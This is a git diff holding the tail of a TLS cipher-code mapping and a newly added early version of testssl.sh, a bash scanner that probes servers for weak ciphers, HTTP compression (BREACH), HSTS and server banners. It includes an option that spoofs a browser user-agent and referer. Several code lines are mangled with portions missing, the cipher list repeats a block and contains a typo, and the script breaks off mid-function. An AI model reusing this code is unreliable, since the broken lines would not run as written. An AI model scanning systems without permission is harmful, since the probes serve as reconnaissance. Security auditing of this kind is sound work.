TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA +0xC00B TLS_ECDH_RSA_WITH_NULL_SHA +0xC00C TLS_ECDH_RSA_WITH_RC4_128_SHA +0xC00D TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA +0xC00E TLS_ECDH_RSA_WITH_AES_128_CBC_SHA +0xC00F TLS_ECDH_RSA_WITH_AES_256_CBC_SHA +0xC010 TLS_ECDHE_RSA_WITH_NULL_SHA +0xC011 TLS_ECDHE_RSA_WITH_RC4_128_SHA +0xC012 TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA +0xC013 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA +0xC014 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA +0xC015 TLS_ECDH_anon_WITH_NULL_SHA +0xC016 TLS_ECDH_anon_WITH_RC4_128_SHA +0xC017 TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA +0xC018 TLS_ECDH_anon_WITH_AES_128_CBC_SHA +0xC019 TLS_ECDH_anon_WITH_AES_256_CBC_SHA +0xC01A TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA +0xC01B TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA +0xC01C TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA +0xC01D TLS_SRP_SHA_WITH_AES_128_CBC_SHA +0xC01E TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA +0xC01F TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA +0xC020 TLS_SRP_SHA_WITH_AES_256_CBC_SHA +0xC021 TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA +0xC022 TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA +0xC023 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 +0xC024 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 +0xC025 TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 +0xC026 TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 +0xC027 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 +0xC028 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 +0xC029 TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 +0xC02A TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 +0xC02B TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 +0xC02C TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 +0xC02D TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 +0xC02E TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 +0xC02F TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 +0xC030 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 +0xC031 TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 +0xC032 TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 +0xC033 TLS_ECDHE_PSK_WITH_RC4_128_SHA +0xC034 TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA +0xC035 TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA +0xC036 TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA +0xC037 TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256 +0xC038 TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384 +0xC039 TLS_ECDHE_PSK_WITH_NULL_SHA +0xC03A TLS_ECDHE_PSK_WITH_NULL_SHA256 +0xC03B TLS_ECDHE_PSK_WITH_NULL_SHA384 +0xC03C TLS_RSA_WITH_ARIA_128_CBC_SHA256 +0xC03D TLS_RSA_WITH_ARIA_256_CBC_SHA384 +0xC03E TLS_DH_DSS_WITH_ARIA_128_CBC_SHA256 +0xC03F TLS_DH_DSS_WITH_ARIA_256_CBC_SHA384 +0xC040 TLS_DH_RSA_WITH_ARIA_128_CBC_SHA256 +0xC041 TLS_DH_RSA_WITH_ARIA_256_CBC_SHA384 +0xC042 TLS_DHE_DSS_WITH_ARIA_128_CBC_SHA256 +0xC043 TLS_DHE_DSS_WITH_ARIA_256_CBC_SHA384 +0xC044 TLS_DHE_RSA_WITH_ARIA_128_CBC_SHA256 +0xC045 TLS_DHE_RSA_WITH_ARIA_256_CBC_SHA384 +0xC046 TLS_DH_anon_WITH_ARIA_128_CBC_SHA256 +0xC047 TLS_DH_anon_WITH_ARIA_256_CBC_SHA384 +0xC048 TLS_ECDHE_ECDSA_WITH_ARIA_128_CBC_SHA256 +0xC049 TLS_ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384 +0xC04A TLS_ECDH_ECDSA_WITH_ARIA_128_CBC_SHA256 +0xC04B TLS_ECDH_ECDSA_WITH_ARIA_256_CBC_SHA384 +0xC04C TLS_ECDHE_RSA_WITH_ARIA_128_CBC_SHA256 +0xC04D TLS_ECDHE_RSA_WITH_ARIA_256_CBC_SHA384 +0xC04E TLS_ECDH_RSA_WITH_ARIA_128_CBC_SHA256 +0xC04F TLS_ECDH_RSA_WITH_ARIA_256_CBC_SHA384 +0xC050 TLS_RSA_WITH_ARIA_128_GCM_SHA256 +0xC051 TLS_RSA_WITH_ARIA_256_GCM_SHA384 +0xC052 TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256 +0xC053 TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384 +0xC054 TLS_DH_RSA_WITH_ARIA_128_GCM_SHA256 +0xC055 TLS_DH_RSA_WITH_ARIA_256_GCM_SHA384 +0xC056 TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256 +0xC057 TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384 +0xC058 TLS_DH_DSS_WITH_ARIA_128_GCM_SHA256 +0xC059 TLS_DH_DSS_WITH_ARIA_256_GCM_SHA384 +0xC05A TLS_DH_anon_WITH_ARIA_128_GCM_SHA256 +0xC05B TLS_DH_anon_WITH_ARIA_256_GCM_SHA384 +0xC05C TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256 +0xC05D TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384 +0xC05E TLS_ECDH_ECDSA_WITH_ARIA_128_GCM_SHA256 +0xC05F TLS_ECDH_ECDSA_WITH_ARIA_256_GCM_SHA384 +0xC060 TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256 +0xC061 TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384 +0xC062 TLS_ECDH_RSA_WITH_ARIA_128_GCM_SHA256 +0xC063 TLS_ECDH_RSA_WITH_ARIA_256_GCM_SHA384 +0xC064 TLS_PSK_WITH_ARIA_128_CBC_SHA256 +0xC065 TLS_PSK_WITH_ARIA_256_CBC_SHA384 +0xC066 TLS_DHE_PSK_WITH_ARIA_128_CBC_SHA256 +0xC067 TLS_DHE_PSK_WITH_ARIA_256_CBC_SHA384 +0xC068 TLS_RSA_PSK_WITH_ARIA_128_CBC_SHA256 +0xC069 TLS_RSA_PSK_WITH_ARIA_256_CBC_SHA384 +0xC06A TLS_PSK_WITH_ARIA_128_GCM_SHA256 +0xC06B TLS_PSK_WITH_ARIA_256_GCM_SHA384 +0xC06C TLS_DHE_PSK_WITH_ARIA_128_GCM_SHA256 +0xC06D TLS_DHE_PSK_WITH_ARIA_256_GCM_SHA384 +0xC06E TLS_RSA_PSK_WITH_ARIA_128_GCM_SHA256 +0xC06F TLS_RSA_PSK_WITH_ARIA_256_GCM_SHA384 +0xC070 TLS_ECDHE_PSK_WITH_ARIA_128_CBC_SHA256 +0xC071 TLS_ECDHE_PSK_WITH_ARIA_256_CBC_SHA384 +0xC072 TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 +0xC073 TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 +0xC074 TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 +0xC075 TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 +0xC076 TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 +0xC077 TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384 +0xC078 TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256 +0xC079 TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384 +0xC07A TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256 +0xC07B TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384 +0xC07C TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 +0xC07D TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 +0xC07E TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256 +0xC07F TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384 +0xC080 TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256 +0xC081 TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384 +0xC082 TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256 +0xC083 TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384 +0xC084 TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256 +0xC085 TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384 +0xC086 TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 +0xC087 TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 +0xC088 TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 +0xC089 TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 +0xC08A TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 +0xC08B TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 +0xC08C TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256 +0xC08D TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384 +0xC08E TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256 +0xC08F TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384 +0xC090 TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256 +0xC091 TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384 +0xC092 TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256 +0xC093 TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384 +0xC094 TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256 +0xC095 TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384 +0xC096 TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 +0xC097 TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 +0xC098 TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256 +0xC099 TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384 +0xC09A TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 +0xC09B TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 +0xC09C TLS_RSA_WITH_AES_128_CCM +0xC09D TLS_RSA_WITH_AES_256_CCM +0xC09E TLS_DHE_RSA_WITH_AES_128_CCM +0xC09F TLS_DHE_RSA_WITH_AES_256_CCM +0xC0A0 TLS_RSA_WITH_AES_128_CCM_8 +0xC0A1 TLS_RSA_WITH_AES_256_CCM_8 +0xC0A2 TLS_DHE_RSA_WITH_AES_128_CCM_8 +0xC0A3 TLS_DHE_RSA_WITH_AES_256_CCM_8 +0xC0A4 TLS_PSK_WITH_AES_128_CCM +0xC0A5 TLS_PSK_WITH_AES_256_CCM +0xC0A6 TLS_DHE_PSK_WITH_AES_128_CCM +0xC0A7 TLS_DHE_PSK_WITH_AES_256_CCM +0xC0A8 TLS_PSK_WITH_AES_128_CCM_8 +0xC0A9 TLS_PSK_WITH_AES_256_CCM_8 +0xC0AA TLS_PSK_DHE_WITH_AES_128_CCM_8 +0xC0AB TLS_PSK_DHE_WITH_AES_256_CCM_8 +0xC09C TLS_RSA_WITH_AES_128_CCM +0xC09D TLS_RSA_WITH_AES_256_CCM +0xC09E TLS_DHE_RSA_WITH_AES_128_CCM +0xC09F TLS_DHE_RSA_WITH_AES_256_CCM +0xC0A0 TLS_RSA_WITH_AES_128_CCM_8 +0xC0A1 TLS_RSA_WITH_AES_256_CCM_8 +0xC0A2 TLS_DHE_RSA_WITH_AES_128_CCM_8 +0xC0A3 TLS_DHE_RSA_WITH_AES_256_CCM_8 +0xC0A4 TLS_PSK_WITH_AES_128_CCM +0xC0A5 TLS_PSK_WITH_AES_256_CCM +0xC0A6 TLS_DHE_PSK_WITH_AES_128_CCM +0xC0A7 TLS_DHE_PSK_WITH_AES_256_CCM +0xC0A8 TLS_PSK_WITH_AES_128_CCM_8 +0xC0A9 TLS_PSK_WITH_AES_256_CCM_8 +0xC0AA TLS_PSK_DHE_WITH_AES_128_CCM_8 +0xC0AB TLS_PSK_DHE_WITH_AES_256_CCM_80 +0xC0AC TLS_ECDHE_ECDSA_WITH_AES_128_CCM +0xC0AD TLS_ECDHE_ECDSA_WITH_AES_256_CCM +0xC0AE TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8 +0xC0AF TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8 +0xCC13 TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 +0xCC14 TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 +0xCC15 TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 +0xFEFE SSL_RSA_FIPS_WITH_DES_CBC_SHA +0xFEFE SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA +0xFFE0 SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA +0xFFE1 SSL_RSA_FIPS_WITH_DES_CBC_SHA diff --git a/testssl b/testssl new file mode 120000 index 0000000..d5365db --- /dev/null +++ b/testssl @@ -0,0 +1 @@ +testssl.sh \ No newline at end of file diff --git a/testssl.sh b/testssl.sh new file mode 100755 index 0000000..7c68dd7 --- /dev/null +++ b/testssl.sh @@ -0,0 +1,1789 @@ +#!/usr/bin/env bash +# bash is needed for some distros which use dash as /bin/sh and for the heartbleed check! + +# Program for spotting weak SSL encryption, ciphers, version and some vulnerablities or features + +VERSION="2.1alpha" +SWURL="https://testssl.sh" +SWCONTACT="dirk aet testssl dot sh" + +# Author: Dirk Wetter, copyleft: 2007-2014 +# +# License: GPLv2, see http://www.fsf.org/licensing/licenses/info/GPLv2.html +# and accompanying license "LICENSE.txt". Redistribution + modification under this +# license permitted. +# If you enclose this script or parts of it in your software, it has to +# be accompanied by the same license (see link) and the place where to get +# the recent version of this program: https://testssl.sh +# Don't violate the license. +# +# USAGE WITHOUT ANY WARRANTY, THE SOFTWARE IS PROVIDED "AS IS". USE IT AT +# your OWN RISK + +# I know reading this shell script is neither nice nor it's rocket science. However openssl +# is a such a good swiss army knife (e.g. wiki.openssl.org/index.php/Command_Line_Utilities) +# that it was difficult to resist wrapping it with some shell commandos. That's how everything +# started -- but that was (and still is) a long way to go. +# +# One can do the same in other languages and/or choose another crypto provider as openssl -- YMMV. + +# Q: So what's the difference between https://www.ssllabs.com/ssltest or +# https://sslcheck.globalsign.com/? +# A: As of now ssllabs only check webservers on standard ports, reachable from +# the internet. And those are 3rd parties. If those four restrictions are fine +# with you, they might tell you more than this tool -- as of now. + +# Note that 56Bit ciphers are disabled during compile time in $OPENSSL > 0.9.8c +# (http://rt.$OPENSSL.org/Ticket/Display.html?user=guest&pass=guest&id=1461) +# ---> TLS1_ALLOW_EXPERIMENTAL_CIPHERSUITES in ssl/tls1.h . For testing it's recommended +# to change this to 1 and recompile e.g. w/ ./config --prefix=/usr/ --openssldir=/etc/ssl . +# Also some distributions disable SSLv2. Please note: Everything which is disabled or not +# supported on the client side is not possible to test on the server side! +# Thus as a courtesy I provide openssl binaries for Linux which have everything you need +# enabled, see website +# + +# following variables make use of $ENV, e.g. OPENSSL= ./testssl.sh + +#OPENSSL="${OPENSSL:-/usr/bin/openssl}" # private openssl version --> is now evaluated below +CAPATH="${CAPATH:-/etc/ssl/certs/}" # same as previous. Doing nothing yet. FC has only a CA bundle per default, ==> openssl version -d +OSSL_VER="" # openssl version, will be autodetermined +NC="" # netcat will be autodetermined +ECHO="/usr/bin/printf" # works under Linux, BSD, MacOS. watch out under Solaris, not tested yet under cygwin +COLOR=0 # with screen, tee and friends put 1 here (i.e. no color) +SHOW_LCIPHERS=no # determines whether the client side ciphers are displayed at all (makes no sense normally) +VERBERR=${VERBERR:-1} # 0 means to be more verbose (some like the errors to be dispayed so that one can tell better + # whether the handshake succeeded or not. For errors with individual ciphers you also need to have SHOW_EACH_C=1 +LOCERR=${LOCERR:-1} # Same as before, just displays am error if local cipher isn't support +SHOW_EACH_C=${SHOW_EACH_C:-0} # where individual ciphers are tested show just the positively ones tested +SNEAKY=${SNEAKY:-1} # if zero: the referer and useragent we leave while checking the http header is just usual +#FIXME: consequently we should mute the initial netcat and openssl s_client -connect as they cause a 400 (nginx, apache) + +#FIXME: still to be filled with (more) sense: +DEBUG=${DEBUG:-0} # if 1 the temp file won't be erased. Currently only keeps the last output anyway +VERBOSE=${VERBOSE:-0} # if 1 it shows what's going on. Currently only used for heartbleed and ccs injection +VERB_CLIST="" # ... and if so, "-V" shows them row by row cipher, SSL-version, KX, Au, Enc and Mac +HSTS_MIN=180 #>180 days is ok for HSTS +NPN_PROTOs="spdy/4a2,spdy/3,spdy/3.1,spdy/2,spdy/1,http/1.1" + +#global vars: +TLS_PROTO_OFFERED="" +SOCKREPLY="" +HEXC="" +SNI="" +IP4="" +IP6="" +OSSL_VER_MAJOR=0 +OSSL_VER_MINOR=0 +OSSL_VER_APPENDIX="none" +NODEIP="" +IPS="" + +go2_column() { $ECHO "\033[${1}G"; } + +out() { + # if 2 args: second is column position + [ ! -z "$2" ] && go2_column "$2" + $ECHO "$1" +} + +outln() { + [ ! -z "$1" ] && $ECHO "$1" + $ECHO "\n" +} + +# some functions for text (i know we could do this with tput, but what about systems having no terminfo? +# http://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html +off() { + out "\033[m\c" +} + +liteblue() { + [ $COLOR = 0 ] && out "\033[0;34m$1 " || out "$1 " + off +} +liteblueln() { liteblue "$1"; outln; } + +blue() { + [ $COLOR = 0 ] && out "\033[1;34m$1 " || out "$1 " + off +} +blueln() { blue "$1"; outln; } + +litered() { + [ $COLOR = 0 ] && out "\033[0;31m$1 " || out "*$1* " + off +} +literedln() { litered "$1"; outln; } + +red() { + [ $COLOR = 0 ] && out "\033[1;31m$1 " || "**$1** " + off +} +redln() { red "$1"; outln; } + +litemagenta() { + [ $COLOR = 0 ] && out "\033[0;35m$1 " || out "$1 " + off +} +litemagentaln() { litemagenta "$1"; outln; } + + +magenta() { + [ $COLOR = 0 ] && out "\033[1;35m$1 " || out "**$1** " + off +} +magentaln() { magenta "$1"; outln; } + +litecyan() { + [ $COLOR = 0 ] && out "\033[0;36m$1 " || out "$1 " + off +} +litecyanln() { litecyan "$1"; outln; } + +cyan() { + [ $COLOR = 0 ] && out "\033[1;36m$1 " || out "**$1** " + off +} +cyanln() { cyan "$1"; outln; } + +grey() { + [ $COLOR = 0 ] && out "\033[1;30m$1 " || out "$1 " + off +} +greyln() { grey "$1"; outln; } + +litegrey() { + [ $COLOR = 0 ] && out "\033[0;37m$1 " || out "$1 " + off +} +litegreyln() { litegrey "$1"; outln; } + +litegreen() { + [ $COLOR = 0 ] && out "\033[0;32m$1 " || out "$1 " + off +} +litegreenln() { litegreen "$1"; outln; } + +green() { + [ $COLOR = 0 ] && out "\033[1;32m$1 " || out "**$1** " + off +} +greenln() { green "$1"; outln; } + +brown() { + [ $COLOR = 0 ] && out "\033[0;33m$1 " || out "**$1** " + off +} +brownln() { brown "$1"; outln; } + +yellow() { + [ $COLOR = 0 ] && out "\033[1;33m$1 " || out "**$1** " + off +} +yellowlnln() { yellowln "$1"; outln; } + +bold() { out "\033[1m$1"; off; } +boldln() { bold "$1" ; outln; } + +underline() { out "\033[4m$1" ; off; } + +boldandunder() { out "\033[1m\033[4m$1" ; off; } + +reverse() { out "\033[7m$1" ; off; } + + +# whether it is ok for offer/not offer enc/cipher/version +ok(){ + if [ "$2" -eq 1 ] ; then + case $1 in + 1) redln "offered (NOT ok)" ;; # 1 1 + 0) greenln "NOT offered (ok)" ;; # 0 1 + esac + else + case $1 in + 3) brownln "offered" ;; # 2 0 + 2) boldln "offered" ;; # 2 0 + 1) greenln "offered (ok)" ;; # 1 0 + 0) boldln "not offered" ;; # 0 0 + esac + fi + return $2 +} + +# in a nutshell: It's HTTP-level compression & an attack which works against any cipher suite and +# is agnostic to the version of TLS/SSL, more: http://www.breachattack.com/ +breach() { + bold " BREACH"; out " =HTTP Compression, experimental " + [ -z "$1" ] && url="/" +# referers are important here! + if [ $SNEAKY -eq 0 ] ; then + referer="Referer: http://google.com/" # see https://community.qualys.com/message/20360 + useragent="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" + else + referer="Referer: TLS/SSL-Tester from $SWURL" + useragent="User-Agent: Mozilla/4.0 (X11; Linux x86_64; rv:42.0) Gecko/19700101 Firefox/42.0" + fi + ( + $OPENSSL s_client -quiet -connect $NODEIP:$PORT $SNI << EOF +GET $url HTTP/1.1 +Host: $NODE +$useragent +Accept-Language: en-US,en +Accept-encoding: gzip,deflate,compress +$referer +Connection: close + +EOF +) &>$HEADERFILE_BREACH +ret=$? +# sometimes it hangs here. Currently only kill helps +#test $DEBUG -eq 1 && \ +result=`cat $HEADERFILE_BREACH | grep -a '^Content-Encoding' | sed -e 's/^Content-Encoding//' -e 's/://' -e 's/ //g'` +result=`echo $result | tr -cd '\40-\176'` + if [ -z $result ]; then + green "no HTTP compression " + else + litered "uses $result compression " + fi +# Catch: any URL cvan be vulnerable. I am testing now only the root + outln "(only \"$url\" tested)" + + return $ret +} + + +#problems not handled: chunked, 302 +http_header() { + [ -z "$1" ] && url="/" + if [ $SNEAKY -eq 0 ] ; then + referer="Referer: " + useragent="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" + else + referer="Referer: TLS/SSL-Tester from $SWURL" + useragent="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/19700101 Firefox/42.0" + fi + ( + $OPENSSL s_client -quiet -connect $NODEIP:$PORT $SNI << EOF +GET $url HTTP/1.1 +Host: $NODE +$useragent +Accept-Language: en-US,en +$referer +Connection: close + +EOF +) &>$HEADERFILE + ret=$? + # sometimes it hangs here ^^^. Currently only kill helps + test $DEBUG -eq 1 && cat $HEADERFILE + sed -e '/^$HEADERFILE.2 +#### ^^^ Attention: the filtering for the html body only as of now, doesn't work for other content yet + mv $HEADERFILE.2 $HEADERFILE # sed'ing in place doesn't work with BSD and Linux simultaneously + + return $ret +} + +#FIXME: it doesn't follow a 30x. At least a path should be possible to provide +hsts() { + [ -s $HEADERFILE ] || http_header + bold " HSTS " + grep -i '^Strict-Transport-Security' $HEADERFILE >$TMPFILE + if [ $? -eq 0 ]; then +# fix Markus Manzke: + AGE_SEC=`sed -e 's/\r//g' -e 's/^.*max-age=//' -e 's/;.*//' $TMPFILE` + AGE_DAYS=`expr $AGE_SEC \/ 86400` + if [ $AGE_DAYS -gt $HSTS_MIN ]; then + litegreen "$AGE_DAYS days \c" ; outln "($AGE_SEC s)" + else + brown "$AGE_DAYS days (<$HSTS_MIN is not good enough)" + fi + else + litecyan "no" + fi + outln + + rm $TMPFILE + return $? +} + +serverbanner() { + [ -s $HEADERFILE ] || http_header + bold " Server " + grep -i '^Server' $HEADERFILE >$TMPFILE + if [ $? -eq 0 ]; then + #out=`cat $TMPFILE | sed -e 's/^Server: //' -e 's/^server: //' -e 's/^[[:space:]]//'` + serverbanner=`cat $TMPFILE | sed -e 's/^Server: //' -e 's/^server: //'` +# if [ x"$out" == "x\n" -o x"$out" == "x\n\r" -o x"$out" == "x" ]; then +# outln "(line exists but empty string)" +# else + outln "$serverbanner" +# fi + else + outln "(None, interesting!)" + fi + + bold " Application" +# examples: php.net, asp.net , www.regonline.com + egrep -i '^X-Powered-By|^X-AspNet-Version|^X-Runtime|^X-Version' $HEADERFILE >$TMPFILE + if [ $? -eq 0 ]; then + #cat $TMPFILE | sed 's/^.*:/:/' | sed -e :a -e '$!N;s/\n:/ \n\ +/;ta' -e 'P;D' | sed 's/://g' + cat $TMPFILE | sed 's/^/ /' + else + litegrey " (None)" + fi + outln + + rm $TMPFILE + return $? +} + +#dead function as of now +secure_cookie() { # ARG1: Path + [ -s $HEADERFILE ] || http_header + grep -i '^Set-Cookie' $HEADERFILE >$TMPFILE + if [ $? -eq 0 ]; then + outln "Cookie issued, status: " + if grep -q -i secure $TMPFILE; then + litegreenln "Secure Flag" + echo $TMPFILE + else + outln "no secure flag" + fi + fi +} +#FIXME: Access-Control-Allow-Origin, CSP, Upgrade, X-Frame-Options, X-XSS-Protection, X-Content-Type-Options +# https://en.wikipedia.org/wiki/List_of_HTTP_header_fields + + +# #1: string with 2 opensssl codes, HEXC= same in NSS/ssllab terminology +normalize_ciphercode() { + part1=`echo "$1" | awk -F',' '{ print $1 }'` + part2=`echo "$1" | awk -F',' '{ print $2 }'` + part3=`echo "$1" | awk -F',' '{ print $3 }'` + if [ "$part1" == "0x00" ] ; then # leading 0x00 + HEXC=$part2 + else + part2=`echo $part2 | sed 's/0x//g'` + if [ -n "$part3" ] ; then # a SSLv2 cipher has three parts + part3=`echo $part3 | sed 's/0x//g'` + fi + HEXC="$part1$part2$part3" + fi + HEXC=`echo $HEXC | tr 'A-Z' 'a-z'` #tolower + return 0 +} + +prettyprint_local() { + if [ -z "$1" ]; then + blue "--> Displaying all local ciphers"; outln "\n" + fi + + neat_header + + $OPENSSL ciphers -V 'ALL:COMPLEMENTOFALL:@STRENGTH' | while read hexcode dash ciph sslversmin kx auth enc mac export; do + normalize_ciphercode $hexcode + if [ -n "$1" ]; then + echo $HEXC | grep -iq "$1" || continue + fi + neat_list $HEXC $ciph $kx $enc + outln + done + outln + + return 0 +} + + +# list ciphers (and makes sure you have them locally configured) +# arg[1]: cipher list (or anything else) +listciphers() { + if [ $LOCERR = 0 ]; then + $OPENSSL ciphers "$VERB_CLIST" $1 2>&1 >$TMPFILE + else + $OPENSSL ciphers "$VERB_CLIST" $1 &>$TMPFILE + fi + return $? +} + + +# argv[1]: cipher list to test +# argv[2]: string on console +# argv[3]: ok to offer? 0: yes, 1: no +std_cipherlists() { + out "$2 "; + if listciphers $1; then + [ x$SHOW_LCIPHERS = "xyes" ] && out "local ciphers are: " && cat $TMPFILE | sed 's/:/, /g' + $OPENSSL s_client -cipher "$1" $STARTTLS -connect $NODEIP:$PORT $SNI 2>$TMPFILE >/dev/null &1 >$TMPFILE + head -2 $TMPFILE | egrep -v "depth|num=" + fi + if [ $3 -eq 0 ]; then # ok to offer + if [ $ret -eq 0 ]; then # was offered + ok 1 0 # green + else + ok 0 0 # black + fi + elif [ $3 -eq 2 ]; then # not really bad + if [ $ret -eq 0 ]; then + ok 2 0 # offered in bold + else + ok 0 0 # not offered also in bold + fi + else + if [ $ret -eq 0 ]; then + ok 1 1 # was offered! --> red + else + #ok 0 0 # was not offered, that's ok + ok 0 1 # was not offered --> green + fi + fi + rm $TMPFILE + else + magenta "Local problem: No $2 configured in $OPENSSL" ; outln + fi + # we need lf in those cases: + [ "$LOCERR" -eq 0 ] && echo + [ "$VERBERR" -eq 0 ] && echo +} + +# sockets inspired by http://blog.chris007.de/?p=238 +# ARG1: hexbyte, ARG2: hexode for TLS Version, ARG3: sleep +socksend() { + data=`echo $1 | sed 's/tls_version/'"$2"'/g'` + [ $VERBOSE -eq 1 ] && echo "\"$data\"" + out "$data" >&5 & + sleep $3 +} +sockread() { + SOCKREPLY=`dd bs=$1 count=1 <&5 2>/dev/null` +} + + +show_rfc_style(){ + RFCname=`grep -iw $1 $MAP_RFC_FNAME | sed -e 's/^.*TLS/TLS/' -e 's/^.*SSL/SSL/'` + if [ -n "$RFCname" ] ; then + out "$RFCname" "$2"; + fi +} + +# header and list for all_ciphers+cipher_per_proto, and PFS+RC4 +neat_header(){ + out " Hexcode"; out "Cipher Suite Name (OpenSSL)" 13; out "KeyExch." 43; out "Encryption" 52; out "Bits" 63 + [ -r $MAP_RFC_FNAME ] && out "Cipher Suite Name (RFC)" 73 + outln + printf "%s-----------------------------------------------------------------------" + [ -r $MAP_RFC_FNAME ] && printf "%s---------------------------------------------" + outln +} + +neat_list(){ + kx=`echo $3 | sed 's/Kx=//g'` + enc=`echo $4 | sed 's/Enc=//g'` + strength=`echo $enc | sed -e 's/.*(//' -e 's/)//'` + strength=`echo $strength | sed -e 's/ChaCha20-Poly1305//g'` # workaround for empty strength=ChaCha20-Poly1305 + enc=`echo $enc | sed -e 's/(.*)//g'` + echo "$export" | grep -iq export && strength="$strength,export" + out " [$1]"; out "$2" 13; out "$kx" 43; out "$enc" 54; out "$strength" 63 + [ -r $MAP_RFC_FNAME ] && show_rfc_style $HEXC 73 +} + + +# test for all ciphers locally configured (w/o distinguishing whether they are good or bad +allciphers(){ +# FIXME: e.g. OpenSSL < 1.0 doesn't understand "-V" + blue "--> Testing all locally available ciphers against the server"; outln "\n" + neat_header + $OPENSSL ciphers -V 'ALL:COMPLEMENTOFALL:@STRENGTH' | while read hexcode n ciph sslvers kx auth enc mac export; do + $OPENSSL s_client -cipher $ciph $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE Testing all locally available ciphers per protocol against the server"; outln "\n" + neat_header + outln " 